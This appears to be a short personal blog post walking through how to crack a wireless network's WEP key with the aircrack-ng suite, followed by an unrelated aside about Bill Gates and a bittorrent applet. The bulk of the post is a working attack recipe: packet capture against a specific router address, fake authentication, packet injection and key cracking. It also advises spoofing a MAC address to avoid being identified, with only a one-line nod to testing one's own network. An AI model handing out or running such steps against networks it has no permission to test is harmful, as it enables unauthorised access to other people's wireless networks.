A friend of mine asked me how people does to Crack Wireless WEP-Keys. So I though about sharing with everybody.
Ubuntu and Debian already have the program in their packages:
$ apt-cache search aircrack
aircrack - wireless WEP/WPA cracker
So just get it from there with apt-get install. Other distros can take it from Aircrack-ng website. In the same website there is lots of interesting info and steps of how to do it. This is how I did it:
# 1st step: Start capturing packets and saving them in a text file
airodump-ng -w wepsave.txt.ivs --channel 11 --bssid 00:14:BF:B2:1A:DB ra0

# 2nd step: Log in to the router. You need to get logged into the router if you want to inject packets.
sudo aireplay-ng -1 30 -o 10 -e 'ESSIDName' -a 00:14:BF:B2:1A:DB -h 00:19:D3:32:42:9C ra0
(Use a false MAC adress if you don’t want to reveal yours / Replace RA0 with Your wireless interface)

# 3rd step: Inject some packets. It gets really faster like this.
sudo aireplay-ng -3 -b 00:14:BF:B2:1A:DB -h 00:19:D3:32:42:9C ra0

# Last step. CRACK the key:
aircrack-ng -f 14 wepsave.txt.ivs wepsave.txt.ivs-01.cap wepsave.txt.ivs-02.cap

That’s it. Cross fingers and wait. If everything goes fine you will end up with a Nice message like ” SUCCESS. The key is XXXXXXXXX “
Use this learning to test your own wireless security.

SOME THINGS TO SHARE
Bill Gates last day at Microsoft : Finally Bill does a favour to humanity and retires from Microsoft. Rumours says he is now using Ubuntu and downloading music with bittorrent.

The bittorrent applet to preview music (only mp3 and ogg)
